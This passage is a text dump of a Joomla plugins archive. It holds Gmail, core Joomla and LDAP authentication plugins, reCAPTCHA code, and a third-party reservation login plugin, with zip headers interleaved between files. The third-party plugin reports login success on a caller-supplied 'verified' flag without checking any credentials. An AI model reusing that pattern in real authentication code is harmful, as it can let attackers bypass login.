JText::_('JGLOBAL_AUTH_USER_BLACKLISTED'));

			return;
		}

		$suffix      = $this->params->get('suffix',
'');
		$applysuffix = $this->params->get('applysuffix', 0);
		$offset      = strpos($credentials['username'], '@');

		// Check if we want to do suffix stuff, typically for Google Apps for
Your Domain
		if ($suffix && $applysuffix)
		{
			if ($applysuffix == 1 && $offset === false)
			{
				// Apply suffix if missing
				$credentials['username'] .= '@' . $suffix;
			}
			elseif ($applysuffix == 2)
			{
				// Always use suffix
				if ($offset)
				{
					// If we already have an @, get rid of it and replace it
					$credentials['username'] =
substr($credentials['username'], 0, $offset);
				}

				$credentials['username'] .= '@' . $suffix;
			}
		}

		$headers = array(
			'Authorization' => 'Basic ' .
base64_encode($credentials['username'] . ':' .
$credentials['password'])
		);

		try
		{
			$result =
$http->get('https://mail.google.com/mail/feed/atom',
$headers);
		}
		catch (Exception $e)
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->type          = 'GMail';
			$response->error_message =
JText::sprintf('JGLOBAL_AUTH_FAILED',
JText::_('JGLOBAL_AUTH_UNKNOWN_ACCESS_DENIED'));

			return;
		}

		$code = $result->code;

		switch ($code)
		{
			case 200 :
				$message = JText::_('JGLOBAL_AUTH_ACCESS_GRANTED');
				$success = true;
				break;

			case 401 :
				$message = JText::_('JGLOBAL_AUTH_ACCESS_DENIED');
				break;

			default :
				$message = JText::_('JGLOBAL_AUTH_UNKNOWN_ACCESS_DENIED');
				break;
		}

		$response->type = 'GMail';

		if (!$success)
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message =
JText::sprintf('JGLOBAL_AUTH_FAILED', $message);

			return;
		}

		if (strpos($credentials['username'], '@') === false)
		{
			if ($suffix)
			{
				// If there is a suffix then we want to apply it
				$email = $credentials['username'] . '@' . $suffix;
			}
			else
			{
				// If there isn't a suffix just use the default gmail one
				$email = $credentials['username'] . '@gmail.com';
			}
		}
		else
		{
			// The username looks like an email address (probably is) so use that
			$email = $credentials['username'];
		}

		// Extra security checks with existing local accounts
		$db                  = JFactory::getDbo();
		$localUsernameChecks = array(strstr($email, '@', true),
$email);

		$query = $db->getQuery(true)
			->select('id, activation, username, email, block')
			->from('#__users')
			->where('username IN(' . implode(',',
array_map(array($db, 'quote'), $localUsernameChecks)) .
')'
				. ' OR email = ' . $db->quote($email)
			);

		$db->setQuery($query);

		if ($localUsers = $db->loadObjectList())
		{
			foreach ($localUsers as $localUser)
			{
				// Local user exists with same username but different email address
				if ($email !== $localUser->email)
				{
					$response->status        = JAuthentication::STATUS_FAILURE;
					$response->error_message =
JText::sprintf('JGLOBAL_AUTH_FAILED',
JText::_('PLG_GMAIL_ERROR_LOCAL_USERNAME_CONFLICT'));

					return;
				}
				else
				{
					// Existing user disabled locally
					if ($localUser->block || !empty($localUser->activation))
					{
						$response->status        = JAuthentication::STATUS_FAILURE;
						$response->error_message =
JText::_('JGLOBAL_AUTH_ACCESS_DENIED');

						return;
					}

					// We will always keep the local username for existing accounts
					$credentials['username'] = $localUser->username;

					break;
				}
			}
		}
		elseif
(JFactory::getApplication()->isClient('administrator'))
		{
			// We wont' allow backend access without local account
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JERROR_LOGIN_DENIED');

			return;
		}

		$response->status        = JAuthentication::STATUS_SUCCESS;
		$response->error_message = '';
		$response->email         = $email;

		// Reset the username to what we ended up using
		$response->username = $credentials['username'];
		$response->fullname = $credentials['username'];
	}
}
PK	�[(�E�M	M	authentication/gmail/gmail.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin"
group="authentication" method="upgrade">
	<name>plg_authentication_gmail</name>
	<author>Joomla! Project</author>
	<creationDate>February 2006</creationDate>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_GMAIL_XML_DESCRIPTION</description>
	<files>
		<filename plugin="gmail">gmail.php</filename>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_authentication_gmail.ini</language>
		<language
tag="en-GB">en-GB.plg_authentication_gmail.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="applysuffix"
					type="list"
					label="PLG_GMAIL_FIELD_APPLYSUFFIX_LABEL"
					description="PLG_GMAIL_FIELD_APPLYSUFFIX_DESC"
					default="0"
					filter="integer"
					>
					<option
value="0">PLG_GMAIL_FIELD_VALUE_NOAPPLYSUFFIX</option>
					<option
value="1">PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXMISSING</option>
					<option
value="2">PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXALWAYS</option>
				</field>

				<field
					name="suffix"
					type="text"
					label="PLG_GMAIL_FIELD_SUFFIX_LABEL"
					description="PLG_GMAIL_FIELD_SUFFIX_DESC"
					size="20"
					showon="applysuffix:1,2"
				/>

				<field
					name="verifypeer"
					type="radio"
					label="PLG_GMAIL_FIELD_VERIFYPEER_LABEL"
					description="PLG_GMAIL_FIELD_VERIFYPEER_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="user_blacklist"
					type="text"
					label="PLG_GMAIL_FIELD_USER_BLACKLIST_LABEL"
					description="PLG_GMAIL_FIELD_USER_BLACKLIST_DESC"
					size="20"
				/>

				<field
					name="backendLogin"
					type="radio"
					label="PLG_GMAIL_FIELD_BACKEND_LOGIN_LABEL"
					description="PLG_GMAIL_FIELD_BACKEND_LOGIN_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JENABLED</option>
					<option value="0">JDISABLED</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK	�[���\
authentication/joomla/joomla.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Authentication.joomla
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla Authentication plugin
 *
 * @since  1.5
 */
class PlgAuthenticationJoomla extends JPlugin
{
	/**
	 * This method should handle any authentication and report back to the
subject
	 *
	 * @param   array   $credentials  Array holding the user credentials
	 * @param   array   $options      Array of extra options
	 * @param   object  &$response    Authentication response object
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function onUserAuthenticate($credentials, $options, &$response)
	{
		$response->type = 'Joomla';

		// Joomla does not like blank passwords
		if (empty($credentials['password']))
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message =
JText::_('JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED');

			return;
		}

		// Get a database object
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('id, password')
			->from('#__users')
			->where('username=' .
$db->quote($credentials['username']));

		$db->setQuery($query);
		$result = $db->loadObject();

		if ($result)
		{
			$match = JUserHelper::verifyPassword($credentials['password'],
$result->password, $result->id);

			if ($match === true)
			{
				// Bring this in line with the rest of the system
				$user               = JUser::getInstance($result->id);
				$response->email    = $user->email;
				$response->fullname = $user->name;

				if (JFactory::getApplication()->isClient('administrator'))
				{
					$response->language =
$user->getParam('admin_language');
				}
				else
				{
					$response->language = $user->getParam('language');
				}

				$response->status        = JAuthentication::STATUS_SUCCESS;
				$response->error_message = '';
			}
			else
			{
				// Invalid password
				$response->status        = JAuthentication::STATUS_FAILURE;
				$response->error_message =
JText::_('JGLOBAL_AUTH_INVALID_PASS');
			}
		}
		else
		{
			// Let's hash the entered password even if we don't have a
matching user for some extra response time
			// By doing so, we mitigate side channel user enumeration attacks
			JUserHelper::hashPassword($credentials['password']);

			// Invalid user
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message =
JText::_('JGLOBAL_AUTH_NO_USER');
		}

		// Check the two factor authentication
		if ($response->status === JAuthentication::STATUS_SUCCESS)
		{
			$methods = JAuthenticationHelper::getTwoFactorMethods();

			if (count($methods) <= 1)
			{
				// No two factor authentication method is enabled
				return;
			}

			JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR .
'/components/com_users/models', 'UsersModel');

			/** @var UsersModelUser $model */
			$model = JModelLegacy::getInstance('User',
'UsersModel', array('ignore_request' => true));

			// Load the user's OTP (one time password, a.k.a. two factor auth)
configuration
			if (!array_key_exists('otp_config', $options))
			{
				$otpConfig             = $model->getOtpConfig($result->id);
				$options['otp_config'] = $otpConfig;
			}
			else
			{
				$otpConfig = $options['otp_config'];
			}

			// Check if the user has enabled two factor authentication
			if (empty($otpConfig->method) || ($otpConfig->method ===
'none'))
			{
				// Warn the user if they are using a secret code but they have not
				// enabled two factor auth in their account.
				if (!empty($credentials['secretkey']))
				{
					try
					{
						$app = JFactory::getApplication();

						$this->loadLanguage();

						$app->enqueueMessage(JText::_('PLG_AUTH_JOOMLA_ERR_SECRET_CODE_WITHOUT_TFA'),
'warning');
					}
					catch (Exception $exc)
					{
						// This happens when we are in CLI mode. In this case
						// no warning is issued
						return;
					}
				}

				return;
			}

			// Try to validate the OTP
			FOFPlatform::getInstance()->importPlugin('twofactorauth');

			$otpAuthReplies =
FOFPlatform::getInstance()->runPlugins('onUserTwofactorAuthenticate',
array($credentials, $options));

			$check = false;

			/*
			 * This looks like noob code but DO NOT TOUCH IT and do not convert
			 * to in_array(). During testing in_array() inexplicably returned
			 * null when the OTEP begins with a zero! o_O
			 */
			if (!empty($otpAuthReplies))
			{
				foreach ($otpAuthReplies as $authReply)
				{
					$check = $check || $authReply;
				}
			}

			// Fall back to one time emergency passwords
			if (!$check)
			{
				// Did the user use an OTEP instead?
				if (empty($otpConfig->otep))
				{
					if (empty($otpConfig->method) || ($otpConfig->method ===
'none'))
					{
						// Two factor authentication is not enabled on this account.
						// Any string is assumed to be a valid OTEP.

						return;
					}
					else
					{
						/*
						 * Two factor authentication enabled and no OTEPs defined. The
						 * user has used them all up. Therefore anything they enter is
						 * an invalid OTEP.
						 */
						$response->status        = JAuthentication::STATUS_FAILURE;
						$response->error_message =
JText::_('JGLOBAL_AUTH_INVALID_SECRETKEY');

						return;
					}
				}

				// Clean up the OTEP (remove dashes, spaces and other funny stuff
				// our beloved users may have unwittingly stuffed in it)
				$otep  = $credentials['secretkey'];
				$otep  = filter_var($otep, FILTER_SANITIZE_NUMBER_INT);
				$otep  = str_replace('-', '', $otep);
				$check = false;

				// Did we find a valid OTEP?
				if (in_array($otep, $otpConfig->otep))
				{
					// Remove the OTEP from the array
					$otpConfig->otep = array_diff($otpConfig->otep, array($otep));

					$model->setOtpConfig($result->id, $otpConfig);

					// Return true; the OTEP was a valid one
					$check = true;
				}
			}

			if (!$check)
			{
				$response->status        = JAuthentication::STATUS_FAILURE;
				$response->error_message =
JText::_('JGLOBAL_AUTH_INVALID_SECRETKEY');
			}
		}
	}
}
PK	�[+�EE
authentication/joomla/joomla.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin"
group="authentication" method="upgrade">
	<name>plg_authentication_joomla</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_AUTH_JOOMLA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomla">joomla.php</filename>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_authentication_joomla.ini</language>
		<language
tag="en-GB">en-GB.plg_authentication_joomla.sys.ini</language>
	</languages>
</extension>
PK	�[�Ҹ���authentication/ldap/ldap.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Authentication.ldap
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Ldap\LdapClient;

/**
 * LDAP Authentication Plugin
 *
 * @since  1.5
 */
class PlgAuthenticationLdap extends JPlugin
{
	/**
	 * This method should handle any authentication and report back to the
subject
	 *
	 * @param   array   $credentials  Array holding the user credentials
	 * @param   array   $options      Array of extra options
	 * @param   object  &$response    Authentication response object
	 *
	 * @return  boolean
	 *
	 * @since   1.5
	 */
	public function onUserAuthenticate($credentials, $options, &$response)
	{
		$userdetails = null;
		$success = 0;
		$userdetails = array();

		// For JLog
		$response->type = 'LDAP';

		// Strip null bytes from the password
		$credentials['password'] = str_replace(chr(0), '',
$credentials['password']);

		// LDAP does not like Blank passwords (tries to Anon Bind which is bad)
		if (empty($credentials['password']))
		{
			$response->status = JAuthentication::STATUS_FAILURE;
			$response->error_message =
JText::_('JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED');

			return false;
		}

		// Load plugin params info
		$ldap_email    = $this->params->get('ldap_email');
		$ldap_fullname = $this->params->get('ldap_fullname');
		$ldap_uid      = $this->params->get('ldap_uid');
		$auth_method   = $this->params->get('auth_method');

		$ldap = new LdapClient($this->params);

		if (!$ldap->connect())
		{
			$response->status = JAuthentication::STATUS_FAILURE;
			$response->error_message =
JText::_('JGLOBAL_AUTH_NOT_CONNECT');

			return;
		}

		switch ($auth_method)
		{
			case 'search':
			{
				// Bind using Connect Username/password
				// Force anon bind to mitigate misconfiguration like [#7119]
				if ($this->params->get('username', '') !==
'')
				{
					$bindtest = $ldap->bind();
				}
				else
				{
					$bindtest = $ldap->anonymous_bind();
				}

				if ($bindtest)
				{
					// Search for users DN
					$binddata = $this->searchByString(
						str_replace(
							'[search]',
							str_replace(';', '\3b',
$ldap->escape($credentials['username'], null,
LDAP_ESCAPE_FILTER)),
							$this->params->get('search_string')
						),
						$ldap
					);

					if (isset($binddata[0], $binddata[0]['dn']))
					{
						// Verify Users Credentials
						$success = $ldap->bind($binddata[0]['dn'],
$credentials['password'], 1);

						// Get users details
						$userdetails = $binddata;
					}
					else
					{
						$response->status = JAuthentication::STATUS_FAILURE;
						$response->error_message =
JText::_('JGLOBAL_AUTH_NO_USER');
					}
				}
				else
				{
					$response->status = JAuthentication::STATUS_FAILURE;
					$response->error_message =
JText::_('JGLOBAL_AUTH_NOT_CONNECT');
				}
			}	break;

			case 'bind':
			{
				// We just accept the result here
				$success =
$ldap->bind($ldap->escape($credentials['username'], null,
LDAP_ESCAPE_DN), $credentials['password']);

				if ($success)
				{
					$userdetails = $this->searchByString(
						str_replace(
							'[search]',
							str_replace(';', '\3b',
$ldap->escape($credentials['username'], null,
LDAP_ESCAPE_FILTER)),
							$this->params->get('search_string')
						),
						$ldap
					);
				}
				else
				{
					$response->status = JAuthentication::STATUS_FAILURE;
					$response->error_message =
JText::_('JGLOBAL_AUTH_INVALID_PASS');
				}
			}	break;
		}

		if (!$success)
		{
			$response->status = JAuthentication::STATUS_FAILURE;

			if ($response->error_message === '')
			{
				$response->error_message =
JText::_('JGLOBAL_AUTH_INVALID_PASS');
			}
		}
		else
		{
			// Grab some details from LDAP and return them
			if (isset($userdetails[0][$ldap_uid][0]))
			{
				$response->username = $userdetails[0][$ldap_uid][0];
			}

			if (isset($userdetails[0][$ldap_email][0]))
			{
				$response->email = $userdetails[0][$ldap_email][0];
			}

			if (isset($userdetails[0][$ldap_fullname][0]))
			{
				$response->fullname = $userdetails[0][$ldap_fullname][0];
			}
			else
			{
				$response->fullname = $credentials['username'];
			}

			// Were good - So say so.
			$response->status        = JAuthentication::STATUS_SUCCESS;
			$response->error_message = '';
		}

		$ldap->close();
	}

	/**
	 * Shortcut method to build a LDAP search based on a semicolon separated
string
	 *
	 * Note that this method requires that semicolons which should be part of
the search term to be escaped
	 * to correctly split the search string into separate lookups
	 *
	 * @param   string      $search  search string of search values
	 * @param   LdapClient  $ldap    The LDAP client
	 *
	 * @return  array  Search results
	 *
	 * @since   3.8.2
	 */
	private function searchByString($search, LdapClient $ldap)
	{
		$results = explode(';', $search);

		foreach ($results as $key => $result)
		{
			$results[$key] = '(' . str_replace('\3b',
';', $result) . ')';
		}

		return $ldap->search($results);
	}
}
PK	�[@�
authentication/ldap/ldap.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin"
group="authentication" method="upgrade">
	<name>plg_authentication_ldap</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_LDAP_XML_DESCRIPTION</description>
	<files>
		<filename plugin="ldap">ldap.php</filename>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_authentication_ldap.ini</language>
		<language
tag="en-GB">en-GB.plg_authentication_ldap.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="host"
					type="text"
					label="PLG_LDAP_FIELD_HOST_LABEL"
					description="PLG_LDAP_FIELD_HOST_DESC"
					size="20"
				/>

				<field
					name="port"
					type="number"
					label="PLG_LDAP_FIELD_PORT_LABEL"
					description="PLG_LDAP_FIELD_PORT_DESC"
					min="1"
					max="65535"
					default="389"
					hint="389"
					validate="number"
					filter="integer"
					size="5"
				/>

				<field
					name="use_ldapV3"
					type="radio"
					label="PLG_LDAP_FIELD_V3_LABEL"
					description="PLG_LDAP_FIELD_V3_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="negotiate_tls"
					type="radio"
					label="PLG_LDAP_FIELD_NEGOCIATE_LABEL"
					description="PLG_LDAP_FIELD_NEGOCIATE_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="ignore_reqcert_tls"
					type="radio"
					label="PLG_LDAP_FIELD_IGNORE_REQCERT_TLS_LABEL"
					description="PLG_LDAP_FIELD_IGNORE_REQCERT_TLS_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="no_referrals"
					type="radio"
					label="PLG_LDAP_FIELD_REFERRALS_LABEL"
					description="PLG_LDAP_FIELD_REFERRALS_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="auth_method"
					type="list"
					label="PLG_LDAP_FIELD_AUTHMETHOD_LABEL"
					description="PLG_LDAP_FIELD_AUTHMETHOD_DESC"
					default="bind"
					>
					<option
value="search">PLG_LDAP_FIELD_VALUE_BINDSEARCH</option>
					<option
value="bind">PLG_LDAP_FIELD_VALUE_BINDUSER</option>
				</field>

				<field
					name="base_dn"
					type="text"
					label="PLG_LDAP_FIELD_BASEDN_LABEL"
					description="PLG_LDAP_FIELD_BASEDN_DESC"
					size="20"
				/>

				<field
					name="search_string"
					type="text"
					label="PLG_LDAP_FIELD_SEARCHSTRING_LABEL"
					description="PLG_LDAP_FIELD_SEARCHSTRING_DESC"
					size="20"
				/>

				<field
					name="users_dn"
					type="text"
					label="PLG_LDAP_FIELD_USERSDN_LABEL"
					description="PLG_LDAP_FIELD_USERSDN_DESC"
					size="20"
				/>

				<field
					name="username"
					type="text"
					label="PLG_LDAP_FIELD_USERNAME_LABEL"
					description="PLG_LDAP_FIELD_USERNAME_DESC"
					size="20"
				/>

				<field
					name="password"
					type="password"
					label="PLG_LDAP_FIELD_PASSWORD_LABEL"
					description="PLG_LDAP_FIELD_PASSWORD_DESC"
					size="20"
				/>

				<field
					name="ldap_fullname"
					type="text"
					label="PLG_LDAP_FIELD_FULLNAME_LABEL"
					description="PLG_LDAP_FIELD_FULLNAME_DESC"
					default="fullName"
					size="20"
				/>

				<field
					name="ldap_email"
					type="text"
					label="PLG_LDAP_FIELD_EMAIL_LABEL"
					description="PLG_LDAP_FIELD_EMAIL_DESC"
					default="mail"
					size="20"
				/>

				<field
					name="ldap_uid"
					type="text"
					label="PLG_LDAP_FIELD_UID_LABEL"
					description="PLG_LDAP_FIELD_UID_DESC"
					default="uid"
					size="20"
				/>
				<field
					name="ldap_debug"
					type="radio"
					label="PLG_LDAP_FIELD_LDAPDEBUG_LABEL"
					description="PLG_LDAP_FIELD_LDAPDEBUG_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK	�[�#o,,>authentication/reservationloginwithverificationcode/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[��=����authentication/reservationloginwithverificationcode/language/en-GB/en-GB.plg_authentication_reservationloginwithverificationcode.ininu�[���PLG_AUTHENTICATION_RESERVATIONLOGINWITHVERIFICATIONCODE="Authentication
- Reservationloginwithverificationcode"
PLG_AUTHENTICATION_RESERVATIONLOGINWITHVERIFICATIONCODE_XML_DESCRIPTION="<h1>Authentication
- Reservationloginwithverificationcode (v.1.0.0)</h1> <div
style='clear: both;'></div><p>Created by <a
href='http://farhad.com' target='_blank'>farhad
shahbazi</a><br /><small>Development started 27th
February,
2023</small></p>"PK	�[��=����authentication/reservationloginwithverificationcode/language/en-GB/en-GB.plg_authentication_reservationloginwithverificationcode.sys.ininu�[���PLG_AUTHENTICATION_RESERVATIONLOGINWITHVERIFICATIONCODE="Authentication
- Reservationloginwithverificationcode"
PLG_AUTHENTICATION_RESERVATIONLOGINWITHVERIFICATIONCODE_XML_DESCRIPTION="<h1>Authentication
- Reservationloginwithverificationcode (v.1.0.0)</h1> <div
style='clear: both;'></div><p>Created by <a
href='http://farhad.com' target='_blank'>farhad
shahbazi</a><br /><small>Development started 27th
February,
2023</small></p>"PK	�[�#o,,Mauthentication/reservationloginwithverificationcode/language/en-GB/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[�#o,,Gauthentication/reservationloginwithverificationcode/language/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[i����\authentication/reservationloginwithverificationcode/reservationloginwithverificationcode.phpnu�[���<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				fdsh 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.36
	@build			28th March, 2023
	@created		17th December, 2020
	@package		Reservation
	@subpackage		reservationloginwithverificationcode.php
	@author			farhad shahbazi <http://farhad.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');


/***[JCBGUI.class_extends.head.1.$$$$]***/

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Plugin\CMSPlugin;
/***[/JCBGUI$$$$]***/


/***[JCBGUI.class_extends.comment.1.$$$$]***/
/**
 * Authentication - Reservationloginwithverificationcode plugin.
 *
 * @package   Reservationloginwithverificationcode
 * @since     1.0.0
 *//***[/JCBGUI$$$$]***/

class PlgAuthenticationReservationloginwithverificationcode extends
CMSPlugin
{

/***[JCBGUI.joomla_plugin.main_class_code.65.$$$$]***/
  public function onUserAuthenticate($credentials, $options,
&$response)
  {
    $response->type = 'Joomla';
    if(isset($options['verified']))
    {
      if($options['verified'])
      {
        $response->status        = JAuthentication::STATUS_SUCCESS;
        $response->error_message = '';
        return;
      }
    }


  }/***[/JCBGUI$$$$]***/

}
PK	�[I<���\authentication/reservationloginwithverificationcode/reservationloginwithverificationcode.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension type="plugin" version="3.8"
group="authentication" method="upgrade">
	<name>PLG_AUTHENTICATION_RESERVATIONLOGINWITHVERIFICATIONCODE</name>
	<creationDate>28th March, 2023</creationDate>
	<author>farhad shahbazi</author>
	<authorEmail>farhad.shahbazi0010@gmail.com</authorEmail>
	<authorUrl>http://farhad.com</authorUrl>
	<copyright>Copyright (C) 2015. All Rights Reserved</copyright>
	<license>GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html</license>
	<version>1.0.0</version>
	<description>PLG_AUTHENTICATION_RESERVATIONLOGINWITHVERIFICATIONCODE_XML_DESCRIPTION</description>

	<!-- Language files -->
	<languages folder="language">
		<language
tag="en-GB">en-GB/en-GB.plg_authentication_reservationloginwithverificationcode.ini</language>
		<language
tag="en-GB">en-GB/en-GB.plg_authentication_reservationloginwithverificationcode.sys.ini</language>
	</languages>

	<!-- Plugin files -->
	<files>
		<filename
plugin="reservationloginwithverificationcode">reservationloginwithverificationcode.php</filename>
		<filename>index.html</filename>
		<folder>language</folder>
	</files>
</extension>PK	�[O�j##)captcha/recaptcha/postinstall/actions.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Captcha
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 *
 * This file contains the functions used by the com_postinstall code to
deliver
 * the necessary post-installation messages for the end of life of
reCAPTCHA V1.
 */

/**
 * Checks if the plugin is enabled and reCAPTCHA V1 is being used. If true
then the
 * message about reCAPTCHA v1 EOL should be displayed.
 *
 * @return  boolean
 *
 * @since  3.8.6
 */
function recaptcha_postinstall_condition()
{
	$db = JFactory::getDbo();

	$query = $db->getQuery(true)
		->select('1')
		->from($db->qn('#__extensions'))
		->where($db->qn('name') . ' = ' .
$db->q('plg_captcha_recaptcha'))
		->where($db->qn('enabled') . ' = 1')
		->where($db->qn('params') . ' LIKE ' .
$db->q('%1.0%'));
	$db->setQuery($query);
	$enabled_plugins = $db->loadObjectList();

	return count($enabled_plugins) === 1;
}

/**
 * Open the reCAPTCHA plugin so that they can update the settings to V2 and
new keys.
 *
 * @return  void
 *
 * @since   3.8.6
 */
function recaptcha_postinstall_action()
{
	$db = JFactory::getDbo();

	$query = $db->getQuery(true)
		->select('extension_id')
		->from($db->qn('#__extensions'))
		->where($db->qn('name') . ' = ' .
$db->q('plg_captcha_recaptcha'));
	$db->setQuery($query);
	$e_id = $db->loadResult();

	$url =
'index.php?option=com_plugins&task=plugin.edit&extension_id='
. $e_id;
	JFactory::getApplication()->redirect($url);
}
PK	�[y�a�c&c&captcha/recaptcha/recaptcha.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Captcha
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Captcha\Google\HttpBridgePostRequestMethod;
use Joomla\Utilities\IpHelper;

/**
 * Recaptcha Plugin
 * Based on the official recaptcha library(
https://packagist.org/packages/google/recaptcha )
 *
 * @since  2.5
 */
class PlgCaptchaRecaptcha extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Reports the privacy related capabilities for this plugin to site
administrators.
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyCollectAdminCapabilities()
	{
		$this->loadLanguage();

		return array(
			JText::_('PLG_CAPTCHA_RECAPTCHA') => array(
				JText::_('PLG_RECAPTCHA_PRIVACY_CAPABILITY_IP_ADDRESS'),
			)
		);
	}

	/**
	 * Initialise the captcha
	 *
	 * @param   string  $id  The id of the field.
	 *
	 * @return  Boolean	True on success, false otherwise
	 *
	 * @since   2.5
	 * @throws  \RuntimeException
	 */
	public function onInit($id = 'dynamic_recaptcha_1')
	{
		$pubkey = $this->params->get('public_key', '');

		if ($pubkey === '')
		{
			throw new
\RuntimeException(JText::_('PLG_RECAPTCHA_ERROR_NO_PUBLIC_KEY'));
		}

		if ($this->params->get('version', '1.0') ===
'1.0')
		{
			JHtml::_('jquery.framework');

			$theme  = $this->params->get('theme',
'clean');
			$file   =
'https://www.google.com/recaptcha/api/js/recaptcha_ajax.js';

			JHtml::_('script', $file);
			JFactory::getDocument()->addScriptDeclaration('jQuery( document
).ready(function()
				{Recaptcha.create("' . $pubkey . '", "' .
$id . '", {theme: "' . $theme . '",' .
$this->_getLanguage() . 'tabindex: 0});});');
		}
		else
		{
			// Load callback first for browser compatibility
			JHtml::_('script',
'plg_captcha_recaptcha/recaptcha.min.js',
array('version' => 'auto', 'relative'
=> true));

			$file =
'https://www.google.com/recaptcha/api.js?onload=JoomlaInitReCaptcha2&render=explicit&hl='
. JFactory::getLanguage()->getTag();
			JHtml::_('script', $file);
		}

		return true;
	}

	/**
	 * Gets the challenge HTML
	 *
	 * @param   string  $name   The name of the field. Not Used.
	 * @param   string  $id     The id of the field.
	 * @param   string  $class  The class of the field.
